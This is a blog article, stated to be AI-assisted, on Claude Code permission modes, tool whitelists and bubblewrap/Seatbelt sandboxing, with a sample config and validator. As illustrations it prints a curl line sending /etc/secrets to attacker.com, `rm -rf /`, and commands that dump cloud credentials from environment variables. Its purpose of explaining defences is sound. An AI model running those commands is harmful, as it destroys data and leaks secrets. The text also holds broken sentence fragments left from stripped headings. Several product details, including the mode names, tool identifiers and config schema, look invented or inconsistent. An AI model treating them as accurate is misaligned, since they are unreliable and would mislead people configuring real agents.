# Claude Code Permission Modes in 2026: What `--allowedTools`, Whitelists, and Sandbox Boundaries Actually Restrict

> Source: <https://dev.to/jsmanifest/claude-code-permission-modes-in-2026-what-allowedtools-whitelists-and-sandbox-boundaries-28k3>
> Published: 2026-09-08 06:16:39+00:00

`--allowedTools`, Whitelists, and Sandbox Boundaries Actually Restrict
*This article was written with the assistance of AI, under human supervision and review.*

Most Claude Code security failures stem from treating permission modes and sandbox boundaries as interchangeable concepts. Teams ship agents with Auto mode enabled, assuming the Bash sandbox prevents harm. The sandbox restricts file system access. Permission modes control whether Claude even attempts the action. When these two layers misalign, the agent either breaks production workflows or leaks credentials through unrestricted tool calls.

The confusion compounds when engineers discover `--allowedTools` and assume whitelisting individual capabilities (like `edit_file` or `run_command`) provides complete protection. It does not. The whitelist prevents Claude from invoking forbidden tools. It says nothing about what those allowed tools can reach once invoked. A configuration that permits `run_command` but forgets to restrict the Bash sandbox to a safe directory tree lets the agent execute `rm -rf /` without friction.

The correct architecture separates concerns. Permission modes (Auto, Prompt, Restricted, Custom) decide whether Claude asks before acting. Sandbox boundaries (bubblewrap on Linux, Seatbelt on macOS) define the outer limits of what Bash commands can touch. Defense-in-depth pairs permission deny rules with tight sandbox restrictions so even a prompt-approval mistake cannot escape isolation.

`edit_file` or `run_command` but does not restrict file paths or network access within allowed tools.
Permission modes determine when Claude halts to request approval before invoking a tool. Auto grants every capability without asking. Prompt requires user confirmation for each tool call. Restricted denies all tools by default. Custom mode combines an `allowedTools` whitelist with explicit deny rules for fine-grained control.

Auto mode ships with zero friction. The agent edits files, runs shell commands, and installs packages without interruption. This speed comes at a cost. When Claude misinterprets a task and attempts `git push --force` to the wrong branch, Auto mode executes the command instantly. No confirmation dialog appears. The force-push overwrites production history before a human notices.

Prompt mode surfaces every tool invocation for approval. The agent stops to ask: "Run `npm install`?" This visibility catches errors early but slows iteration. Developers working in tight feedback loops approve dozens of prompts per session. Alert fatigue sets in. A malicious or confused request slips through because the approval reflex becomes automatic.

Restricted mode flips the default to deny. Claude cannot invoke any tool unless the team explicitly permits it. This mode suits production environments where the agent operates on a fixed set of well-tested tasks. A deployment pipeline that only needs `run_command` for Docker builds and `read_file` for config validation can deny every other capability. The agent cannot install packages, edit source files, or query external APIs.

Custom mode provides surgical control. Teams define an `allowedTools` array containing exactly the capabilities the agent requires. A data processing workflow might permit `read_file`, `list_directory`, and `write_file` while denying `run_command` and `install_package`. The configuration pairs the whitelist with explicit deny rules for high-risk tools. This matters because the whitelist operates as an allowlist. Omitting a tool from `allowedTools` prevents invocation but does not block future additions without review.

`--allowedTools` is a configuration flag that accepts an array of tool identifiers. Engineers use it to construct a minimal permission surface. The whitelist prevents Claude from invoking tools outside the approved set, but it does not constrain what those tools can access once invoked.

A configuration that includes `edit_file` in `allowedTools` grants the agent permission to modify any file the process user can write. The whitelist does not restrict paths. If the agent runs with root privileges and the sandbox is misconfigured, `edit_file` can overwrite `/etc/passwd`. The permission mode allowed the tool invocation. The sandbox failed to isolate file system access.

The distinction between tool invocation and resource access is critical. `run_command` appears in many whitelists because automated workflows need shell execution. A whitelist entry for `run_command` permits the agent to spawn any Bash command. It does not limit arguments or working directory. Without a sandbox boundary, the agent can execute `curl https://attacker.com/exfiltrate -d @/etc/secrets`.

Teams often pair `--allowedTools` with deny rules to create defense-in-depth. A configuration might whitelist `read_file` and `list_directory` while denying `install_package` and `run_command`. The deny rules act as a safety net. If a future code change accidentally adds a high-risk tool to the whitelist, the explicit deny rule blocks invocation until a maintainer reviews the change.

The implication here is that `--allowedTools` solves the invocation problem but not the access problem. A complete security posture requires both a whitelist and a sandbox.

Sandbox isolation operates one layer below permission modes. Once a tool invocation succeeds (either through Auto mode or after prompt approval), the sandbox determines what system resources that tool can touch. On Linux, Claude Code uses bubblewrap. On macOS, it uses Seatbelt profiles. Both technologies create a restricted execution environment that denies access to paths outside a defined boundary.

bubblewrap creates a new mount namespace. The agent's Bash commands see a minimal file system tree. A typical configuration mounts `/workspace` as read-write and `/usr`, `/lib`, `/bin` as read-only. Everything else remains invisible. When the agent executes `cat /etc/secrets`, the file does not exist in the sandboxed view. The kernel blocks the read before it reaches the real file system.

Seatbelt profiles on macOS work differently but achieve the same goal. The profile specifies allowed paths, forbidden paths, and default deny rules. A production profile might permit reads from `/Users/agent/workspace` and deny everything else. When the agent attempts `open("/Users/admin/.ssh/id_rsa")`, the Seatbelt kernel extension intercepts the system call and returns an error.

The boundary applies to all child processes. If the agent runs `npm install`, the package manager spawns dozens of subprocesses to fetch dependencies and execute lifecycle scripts. Every subprocess inherits the sandbox restrictions. A malicious post-install script cannot write to `/usr/local/bin` or read from `/etc` because the sandbox denies access at the kernel level.

Network access often escapes sandbox restrictions by default. bubblewrap can isolate the network namespace but many teams leave it open to allow dependency downloads and API calls. This creates an asymmetry. The agent cannot read `/etc/secrets` but can exfiltrate data through `curl`. A complete defense-in-depth configuration pairs file system isolation with network filtering or restricts `run_command` to prevent arbitrary outbound connections.

The failure mode here is subtle but expensive. Teams configure tight permission whitelists but forget to restrict the sandbox. The agent cannot invoke `install_package` but can still run `curl` through `run_command`. The sandbox allows network access. Credentials leak through a side channel the permission mode never controlled.

Defense-in-depth pairs multiple security layers so a single misconfiguration cannot compromise the system. In Claude Code, this means configuring both permission deny rules and sandbox boundaries to address different failure modes. Permission rules prevent Claude from attempting dangerous actions. Sandbox restrictions prevent allowed actions from reaching sensitive resources.

A production deployment workflow demonstrates the pattern. The agent needs to build Docker images and push them to a registry. The task requires `run_command` for Docker CLI invocations and `read_file` to validate build contexts. The team configures Custom mode with `allowedTools: ["run_command", "read_file"]` and explicit deny rules for `edit_file`, `install_package`, and `delete_file`.

The whitelist prevents accidental file modifications or package installations. The agent cannot corrupt the source tree or introduce dependencies without review. But `run_command` remains powerful. A confused prompt could lead Claude to execute `docker run --privileged` or `rm -rf /workspace`. The permission mode allowed the invocation. The sandbox must block the damage.

The sandbox configuration mounts `/workspace` read-only except for a single `/workspace/build` directory that receives build artifacts. The Docker socket is bind-mounted into the sandbox so the agent can invoke the Docker daemon. But the daemon itself runs outside the sandbox with its own restrictions. When the agent attempts `docker run --privileged`, the daemon refuses because its security profile denies privileged containers.

This layered approach catches mistakes at multiple checkpoints. If a maintainer accidentally adds `edit_file` to the whitelist, the agent can invoke the tool but the sandbox prevents writes outside `/workspace/build`. If the sandbox is misconfigured to allow writes everywhere, the permission deny rule for `edit_file` blocks the invocation unless explicitly approved through Prompt mode.

The pattern extends to credential isolation. Secrets live in a separate directory (like `/etc/secrets` or a mounted volume) that the sandbox denies entirely. Even if the agent gains `read_file` permission and a prompt approval, the sandbox returns an error when it attempts to open the file. The kernel enforces the boundary. No application-level logic can bypass it.

A production configuration file demonstrates how to combine Custom mode, a minimal `allowedTools` whitelist, and sandbox restrictions into a cohesive security posture. This example targets a CI pipeline agent that validates pull requests by running tests and linting checks.

``` js
// claude-code-config.ts
export const productionConfig = {
  permissionMode: "custom",
  allowedTools: [
    "run_command",      // Required for npm test, eslint
    "read_file",        // Required to read package.json, test configs
    "list_directory",   // Required to enumerate test files
  ],
  denyTools: [
    "edit_file",        // Tests should never modify source
    "delete_file",      // Prevent accidental cleanup of fixtures
    "install_package",  // Lock dependencies to package-lock.json
    "write_file",       // Block output file creation outside /tmp
  ],
  sandbox: {
    type: "bubblewrap",  // Linux container isolation
    allowedPaths: [
      { path: "/workspace", mode: "ro" },  // Source tree read-only
      { path: "/workspace/.cache", mode: "rw" },  // Test cache writable
      { path: "/tmp", mode: "rw" },  // Temporary files
    ],
    deniedPaths: [
      "/etc",            // No access to system configs
      "/root",           // No access to root home directory
      "/home/ci/.ssh",   // No access to SSH keys
    ],
    network: {
      allowedHosts: [
        "registry.npmjs.org",  // Dependency downloads
        "api.github.com",      // CI status updates
      ],
      denyByDefault: true,
    },
  },
  resourceLimits: {
    maxMemoryMB: 2048,
    maxCPUPercent: 80,
    timeoutSeconds: 300,
  },
};
```

This configuration starts with Custom mode and a three-tool whitelist. The agent can execute commands, read files, and list directories. It cannot edit source, delete files, install packages, or write output except to explicitly writable paths. The deny rules act as guardrails. If a future code change adds `edit_file` to the whitelist without review, the explicit deny rule blocks invocation.

The sandbox layer enforces file system boundaries. The workspace mounts read-only except for a cache directory that test frameworks need. The `/tmp` directory allows ephemeral writes for test artifacts. Everything else is invisible to the sandboxed process. When the agent runs `npm test`, the test runner can write coverage reports to `/workspace/.cache` but cannot modify source files in `/workspace/src`.

Network filtering prevents data exfiltration. The agent can reach npm's registry to validate dependency checksums and GitHub's API to post status checks. All other outbound connections fail. A compromised test script cannot `curl` an attacker-controlled server. The sandbox blocks the connection before it reaches the network.

Resource limits prevent denial-of-service. The agent cannot consume more than 2GB of memory or 80% of CPU time. A runaway test suite hits the memory limit and terminates with an error instead of crashing the CI server. The five-minute timeout prevents infinite loops from blocking the queue.

```
// Runtime validation before agent execution
function validateConfig(config) {
  const requiredTools = ["run_command", "read_file"];
  const forbiddenTools = ["edit_file", "delete_file"];

  requiredTools.forEach(tool => {
    if (!config.allowedTools.includes(tool)) {
      throw new Error(`Missing required tool: ${tool}`);
    }
  });

  forbiddenTools.forEach(tool => {
    if (config.allowedTools.includes(tool)) {
      throw new Error(`Forbidden tool in allowedTools: ${tool}`);
    }
  });

  // Verify sandbox denies sensitive paths
  const sensitivePaths = ["/etc", "/root", "/home/ci/.ssh"];
  sensitivePaths.forEach(path => {
    if (!config.sandbox.deniedPaths.includes(path)) {
      throw new Error(`Sensitive path not denied: ${path}`);
    }
  });

  return true;
}
```

This validation function runs before launching the agent. It enforces invariants: required tools must appear in the whitelist, forbidden tools must not, and sensitive paths must appear in the sandbox deny list. The check catches configuration drift. If a maintainer removes `/etc` from `deniedPaths` during refactoring, the validation fails at startup instead of leaking credentials at runtime.

The most frequent misconfiguration occurs when teams set restrictive permission modes but forget to configure the sandbox. Auto mode with an empty `allowedTools` whitelist and no sandbox restrictions provides zero isolation. The agent can invoke any tool and reach any resource the process user can access.

A team ships a code review agent in Prompt mode, assuming manual approval provides sufficient control. The agent asks to run `npm audit fix`, and a developer approves. The command succeeds because `run_command` is permitted. But the sandbox is misconfigured. The `/node_modules` directory mounts read-write, and the process user has root privileges. `npm audit fix` installs a malicious package that writes a backdoor to `/usr/local/bin`. The prompt approval allowed the command. The sandbox failed to isolate the installation target.

The inverse misconfiguration is less common but equally dangerous. A team configures a tight sandbox but sets permission mode to Auto. The agent cannot write outside `/workspace/build`, but it can invoke any tool without asking. Claude misinterprets a request and runs `git push --force` to the wrong branch. The sandbox did not prevent the push because Git operates over the network, which the sandbox allows by default. The permission mode should have required prompt approval for destructive commands.

Network access often escapes sandbox restrictions by default. Teams assume bubblewrap isolation prevents data exfiltration but forget to check the network policy. The agent cannot read `/etc/secrets` because the path is outside the sandbox boundary. But it can run `curl` through `run_command` and post the contents of allowed files to an external server. The file system sandbox worked as intended. The network policy was never configured.

Credential leaks through environment variables bypass both layers. The sandbox restricts file paths and network endpoints. Permission modes control tool invocations. But environment variables like `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` live in the process environment. The agent can read them through `run_command` by executing `printenv` or `echo $AWS_SECRET_ACCESS_KEY`. A complete configuration either scrubs sensitive variables before launching the agent or uses a secrets manager that requires explicit authentication.

The failure mode here is subtle but expensive. A configuration that looks secure on paper (Custom mode, minimal whitelist, sandbox enabled) leaks credentials through a channel the team never considered. Comprehensive testing must verify that the agent cannot access sensitive resources through any available tool, not just the obvious ones like `read_file`.

`allowedTools` includes The agent can execute any Bash command with the permissions of the process user. If the process runs as root or has access to sensitive paths, `run_command` can read credentials, modify system files, or install backdoors. The permission whitelist allows the tool invocation, but without sandbox isolation, no boundary prevents the command from reaching dangerous resources.

Yes, but the configuration must explicitly deny network access. bubberwrap on Linux can isolate the network namespace to prevent all outbound connections. Seatbelt on macOS can deny socket creation. Many teams leave network access open by default to allow dependency downloads and API calls, which creates an exfiltration channel if `run_command` or `install_package` are permitted.

An empty `allowedTools` array prevents Claude from invoking any tool, which blocks most attacks. But it does not address side channels like environment variable access or command injection through prompt engineering. A comprehensive security posture pairs an empty whitelist with sandbox restrictions, environment variable scrubbing, and prompt validation to prevent indirect access to sensitive resources.

Run a test agent that attempts to access forbidden resources and confirm it fails. Try reading `/etc/passwd`, writing to `/usr/local/bin`, and connecting to arbitrary network endpoints. The sandbox should block all attempts and return errors. Automated tests should validate these invariants on every configuration change to catch drift before production deployment.

`denyTools` and omitting it from Omitting a tool from `allowedTools` prevents invocation by default in Custom mode. Adding it to `denyTools` creates an explicit deny rule that blocks the tool even if a future code change adds it to the whitelist. The explicit deny rule acts as defense-in-depth against accidental permission escalation during refactoring or configuration merges.

Permission modes and sandbox boundaries solve different problems. Permission modes control whether Claude attempts an action. Sandbox boundaries limit what that action can reach. A complete security posture requires both layers. Custom mode with a minimal `allowedTools` whitelist prevents unnecessary tool invocations. Tight sandbox restrictions isolate allowed tools from sensitive resources. Defense-in-depth pairs explicit deny rules with kernel-enforced boundaries so a single misconfiguration cannot compromise the system.

Teams shipping Claude Code agents in production must test both layers independently and together. Verify that forbidden tools cannot be invoked even through prompt engineering. Confirm that allowed tools cannot access sensitive paths even with root privileges. Validate that network policies prevent data exfiltration through side channels. The configuration file documents intent. Runtime validation and automated testing prove it works.

That covers the essential patterns for securing Claude Code agents with permission modes and sandbox isolation. Apply these in production and the difference between a leaked credential and a contained failure will be immediate. For cost control strategies that complement these security patterns, see [Claude Code Cost Control in Production](https://jsmanifest.com/claude-code-cost-control-production). To understand how checkpoints interact with permission boundaries, read [Claude Code Checkpoints: Restore Agent State](https://jsmanifest.com/claude-code-checkpoints-restore-agent-state). For CI integration patterns that respect these restrictions, check [Claude Code CI: Agentic Review, Test, and Auto-Fix](https://jsmanifest.com/claude-code-ci-agentic-review-test-auto-fix).
